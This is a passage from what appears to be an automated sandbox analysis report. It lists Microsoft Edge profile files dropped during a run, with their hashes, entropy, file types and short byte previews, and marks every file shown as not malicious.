SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:I+VcFE0Xl/lrV/lxE0tllzMQ:IB60SQ
MD5:	30B417F3DF392E383185BD944F0E9427
SHA1:	21C70C20F9E8C7927AB9CFADD7460ACA18389E36
SHA-256:	DC5D6A5182336CB6B2BBF2706B6CF814B8744A05639D79AB18EACC5086D6FE92
SHA-512:	280FC34F58684626D0BEDFEF8B78AB5AD0535A8DE3CACE8D5BCDD6F2507D0E2520350B64C25BEA6459BA29FD617D2EAAFACE9EE611C264BF6C06A631854DB971
Malicious:	false
Preview:	@......&oy retne.........................X....,...................F./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:I+VcFE0Xl/lrV/lxE0tllzMQ:IB60SQ
MD5:	30B417F3DF392E383185BD944F0E9427
SHA1:	21C70C20F9E8C7927AB9CFADD7460ACA18389E36
SHA-256:	DC5D6A5182336CB6B2BBF2706B6CF814B8744A05639D79AB18EACC5086D6FE92
SHA-512:	280FC34F58684626D0BEDFEF8B78AB5AD0535A8DE3CACE8D5BCDD6F2507D0E2520350B64C25BEA6459BA29FD617D2EAAFACE9EE611C264BF6C06A631854DB971
Malicious:	false
Preview:	@......&oy retne.........................X....,...................F./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3fd0e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:I+VcFE0Xl/lrV/lxE0tllzMQ:IB60SQ
MD5:	30B417F3DF392E383185BD944F0E9427
SHA1:	21C70C20F9E8C7927AB9CFADD7460ACA18389E36
SHA-256:	DC5D6A5182336CB6B2BBF2706B6CF814B8744A05639D79AB18EACC5086D6FE92
SHA-512:	280FC34F58684626D0BEDFEF8B78AB5AD0535A8DE3CACE8D5BCDD6F2507D0E2520350B64C25BEA6459BA29FD617D2EAAFACE9EE611C264BF6C06A631854DB971
Malicious:	false
Preview:	@......&oy retne.........................X....,...................F./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5971
Entropy (8bit):	3.422392985866083
Encrypted:	false
SSDEEP:	96:lKt8TsxkL0sAAmy0E9k9Xp+od+diAUok1K5SLl9iSrl1IyzjhcSZ7Ft:7tLj9k9Xp+gqihDg5SLl9iSrlBHhH
MD5:	EF81838AFDCB4AB285FFF3566085A27B
SHA1:	1F7F725A025A2B7B64B4A7205BEDFC8576917C31
SHA-256:	35FDDA6AA4214D7CD91DB1295FBE30548990CF63C174E7BB973CB547465D2FFB
SHA-512:	F7ECB1EA78276897BC3F3F09E7C86983847CE1B3A1EE12F567E9BA7DF536C44D2974E96351067ECD0CB2F11D60B9B272D070DC16CEE8BFFAA62A84BE4C43F5CD
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................fu.b................next-map-id.1.Cnamespace-c3245a3a_1577_4a35_ad05_0ecefc2d22c8-https://ntp.msn.com/.0..A..................map-0-shd_sweeper.+{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.p.r.e.a.d.s.-.w.w.-.t.2.-.d.b.l.k.-.r.s.r.,.a.d.s.-.f.l.r.m.g.p.-.b.a.s.e.-.c.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.s.r.c.t.t.5.,.p.r.g.-.1.s.w.-.s.a.l.i.k.e.h.a.c.3.t.3.,.p.r.g.-.1.s.w.-.s.a.-.i.m.g.e.m.b.v.4.t.r.e.t.2.p.,.1.s.-.n.t.f.1.-.r.e.c.2.t.b.r.c.a.p.c.t.r.p.1.,.p.r.g.-.1.s.w.-.c.t.a.d.d.d.b.g.,.1.s.-.n.t.f.1.-.r.d.i.d.c.,.p.r.g.-.1.s.w.-.r.i.v.d.d.r.-.l.o.w.,.p.r.g.-.1.s.w.-.r.i.v.c.o.v.r.d.l.o.w.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.r.o.u.t.e.a.u.t.h.e.x.p.,.r.o.u.t.e.r.g.r.a.p.h.p.r.o.d.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.e.n.u.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.090557293412542
Encrypted:	false
SSDEEP:	6:HU4Ndn+q2P923oH+TcwtrQMxIFUt8YU4NdiJZmw+YU4Ndx9VkwO923oH+TcwtrQq:B+v4YebCFUt8E8/+ExD5LYebtJ
MD5:	973DFC5D1FE3E08C8C4131BDE97FAF61
SHA1:	EF83374F52104C8A2A9F57DC55A41757FFE9D69E
SHA-256:	A801E675AE29CD4E6623458FB2A73F8605BED02F66727221C1483B119227555E
SHA-512:	A9CEA057D20146553A7DD467315BC30D539DBEF953C64F63AB0D0BAAD72FC2B142E2473DE69FA42D0C4B88CFACC1D44B2B33DDEDCC45F835AA7BF4EEB444AFB9
Malicious:	false
Preview:	2024/11/12-00:23:21.811 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-00:23:21.812 738 Recovering log #3.2024/11/12-00:23:21.815 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.090557293412542
Encrypted:	false
SSDEEP:	6:HU4Ndn+q2P923oH+TcwtrQMxIFUt8YU4NdiJZmw+YU4Ndx9VkwO923oH+TcwtrQq:B+v4YebCFUt8E8/+ExD5LYebtJ
MD5:	973DFC5D1FE3E08C8C4131BDE97FAF61
SHA1:	EF83374F52104C8A2A9F57DC55A41757FFE9D69E
SHA-256:	A801E675AE29CD4E6623458FB2A73F8605BED02F66727221C1483B119227555E
SHA-512:	A9CEA057D20146553A7DD467315BC30D539DBEF953C64F63AB0D0BAAD72FC2B142E2473DE69FA42D0C4B88CFACC1D44B2B33DDEDCC45F835AA7BF4EEB444AFB9
Malicious:	false
Preview:	2024/11/12-00:23:21.811 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/12-00:23:21.812 738 Recovering log #3.2024/11/12-00:23:21.815 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375862603640737

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.794206166290314
Encrypted:	false
SSDEEP:	24:35qgp/ZyeJ7KpsAF4unxFstLp3X2amEtG1ChqyvGb001kYH1QKkOAM4fl:33/Zt7KzFVKLp2FEkChfGb5HmHOp
MD5:	8B701FBB59228A151BB56749B1E29F65
SHA1:	E3B82603A7D21A0BD3719D9E128CF3C87E3A0EE6
SHA-256:	B04502301B97A052EAF9444185DE6524D3C625B870C6ACADFE51F2EBFCA8A6C7
SHA-512:	CD7E1A479A8EFB97D9BE2882357F107F9992ADB831E15C6970DD2F1CBE9EC6DA7C940595B480FE36886F12513F266BDA1FF6D6B271570C8A55E6D05E4F4523DF
Malicious:	false
Preview:	SNSS........3=.............3=.......".3=.............3=.........3=.........3=.........3=.....!...3=.................................3=..3=.1..,....3=.$...c3245a3a_1577_4a35_ad05_0ecefc2d22c8....3=.........3=.....\|.{.........3=.....3=.........................3=.....................5..0....3=.&...{98952893-68FF-4A5D-A164-705C709ED3DB}......3=.........3=............................3=.............3=.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......1..j.&..2..j.&.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.056770631199736
Encrypted:	false
SSDEEP:	6:HU4NXUcM+q2P923oH+Tcwt7Uh2ghZIFUt8YU4NXFJZmw+YU4NXFcMVkwO923oH+Q:lM+v4YebIhHh2FUt8o/+LMV5LYebIhHd
MD5:	D611C5B2265962BC7E5F716A8DBED44E
SHA1:	DA56F3418AFF76A911F5D7F18C30A814572C6309
SHA-256:	98E97B0C96751E684205F161045DAEB5EC31F014F981323C793A0B08B0EA35B0
SHA-512:	0DBAA0F7436306107E271FA1B29E2F0FCE4442F63EA6DF73E0884DBE36EFBF27046B48D1DFF35948571035B45E9A9081EDC433FB4B25407A9B9191BBF364F7BE
Malicious:	false
Preview:	2024/11/12-00:23:21.233 1c6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-00:23:21.234 1c6c Recovering log #3.2024/11/12-00:23:21.234 1c6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.056770631199736
Encrypted:	false
SSDEEP:	6:HU4NXUcM+q2P923oH+Tcwt7Uh2ghZIFUt8YU4NXFJZmw+YU4NXFcMVkwO923oH+Q:lM+v4YebIhHh2FUt8o/+LMV5LYebIhHd
MD5:	D611C5B2265962BC7E5F716A8DBED44E
SHA1:	DA56F3418AFF76A911F5D7F18C30A814572C6309
SHA-256:	98E97B0C96751E684205F161045DAEB5EC31F014F981323C793A0B08B0EA35B0
SHA-512:	0DBAA0F7436306107E271FA1B29E2F0FCE4442F63EA6DF73E0884DBE36EFBF27046B48D1DFF35948571035B45E9A9081EDC433FB4B25407A9B9191BBF364F7BE
Malicious:	false
Preview:	2024/11/12-00:23:21.233 1c6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/12-00:23:21.234 1c6c Recovering log #3.2024/11/12-00:23:21.234 1c6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.223489474102608
Encrypted:	false
SSDEEP:	12:BwEv4YebvqBQFUt8EZX/+EqW5LYebvqBvJ:BP4YebvZg8EHvLYebvk
MD5:	7B6A380D4544D66D1682020E84FA1503
SHA1:	5FB0322EC214CCFC035C4763A6231D74D3D17DD7
SHA-256:	C1BA4146711413ED19BDB825592CD677B0D65CA9878598F7C428A3576E893125
SHA-512:	B17DD66016B14E21DFC98D4C29E376E4ACA59A718A657E2F7E015CE08ADAD27EC24F5BACBEE2D0DD994763E89F159B03B02F3529DE0188CC874F18B7F4B0F0FF
Malicious:	false
Preview:	2024/11/12-00:23:21.843 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-00:23:21.844 738 Recovering log #3.2024/11/12-00:23:21.846 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.223489474102608
Encrypted:	false
SSDEEP:	12:BwEv4YebvqBQFUt8EZX/+EqW5LYebvqBvJ:BP4YebvZg8EHvLYebvk
MD5:	7B6A380D4544D66D1682020E84FA1503
SHA1:	5FB0322EC214CCFC035C4763A6231D74D3D17DD7
SHA-256:	C1BA4146711413ED19BDB825592CD677B0D65CA9878598F7C428A3576E893125
SHA-512:	B17DD66016B14E21DFC98D4C29E376E4ACA59A718A657E2F7E015CE08ADAD27EC24F5BACBEE2D0DD994763E89F159B03B02F3529DE0188CC874F18B7F4B0F0FF
Malicious:	false
Preview:	2024/11/12-00:23:21.843 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/12-00:23:21.844 738 Recovering log #3.2024/11/12-00:23:21.846 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2950caac-584f-48a8-8a45-9583165ade32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\975c2c7a-b22b-4b5c-9052-3ac4fd3c1d4a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3905a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\dcde5425-78f3-4fe0-a516-3a0967619230.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.270863285234254
Encrypted:	false
SSDEEP:	6:HU4Be59+q2P923oH+TcwtzjqEKj0QMxIFUt8YU4BeIZmw+YU4BeHVkwO923oH+Tj:a54v4YebvqBZFUt8TI/+T15LYebvqBaJ
MD5:	C5D883D07D7CCEA3ADF299A15345D2A3
SHA1:	DC87310149E091C1CE436AA1360AD337F90113DD
SHA-256:	614D714E5098BCA11CAF6F9D36ECCEC652157E3D474BAAC5CA45102CA5DDF557
SHA-512:	5884DFE4D08AF12BBA735773374BC88E0F0D3A090F976A370EE62D7B688E893964AA2FDEB782CF844DA5AA150E0682394C16D4CF5B5FC43CAA1D1A9F67233AB7
Malicious:	false
Preview:	2024/11/12-00:23:38.595 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-00:23:38.596 738 Recovering log #3.2024/11/12-00:23:38.599 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.270863285234254
Encrypted:	false
SSDEEP:	6:HU4Be59+q2P923oH+TcwtzjqEKj0QMxIFUt8YU4BeIZmw+YU4BeHVkwO923oH+Tj:a54v4YebvqBZFUt8TI/+T15LYebvqBaJ
MD5:	C5D883D07D7CCEA3ADF299A15345D2A3
SHA1:	DC87310149E091C1CE436AA1360AD337F90113DD
SHA-256:	614D714E5098BCA11CAF6F9D36ECCEC652157E3D474BAAC5CA45102CA5DDF557
SHA-512:	5884DFE4D08AF12BBA735773374BC88E0F0D3A090F976A370EE62D7B688E893964AA2FDEB782CF844DA5AA150E0682394C16D4CF5B5FC43CAA1D1A9F67233AB7
Malicious:	false
Preview:	2024/11/12-00:23:38.595 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/12-00:23:38.596 738 Recovering log #3.2024/11/12-00:23:38.599 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14235139986647
Encrypted:	false
SSDEEP:	6:HU4NnG+yq2P923oH+TcwtpIFUt8YU4NHFg1Zmw+YU4NHF2RkwO923oH+Tcwta/Wd:zzyv4YebmFUt8+O/++2R5LYebaUJ
MD5:	63888B9C81AAA6F599D1898750EB02D1
SHA1:	705B035770DCDEB429F12213620F9D1FC107D1F2
SHA-256:	6F9B086C3D6FD22D4C47690B7B70C55BCB3E99CE144DFF8B39953F4706C4CF13
SHA-512:	2D065395C5C1945B67C9E20B0981A342A70C1D6C42AB85BA6FADF26E481E3CF9B1472B395E02240D7D041D8CE17C87DD62982B6AA10736CBBE9F9515B220C62D
Malicious:	false
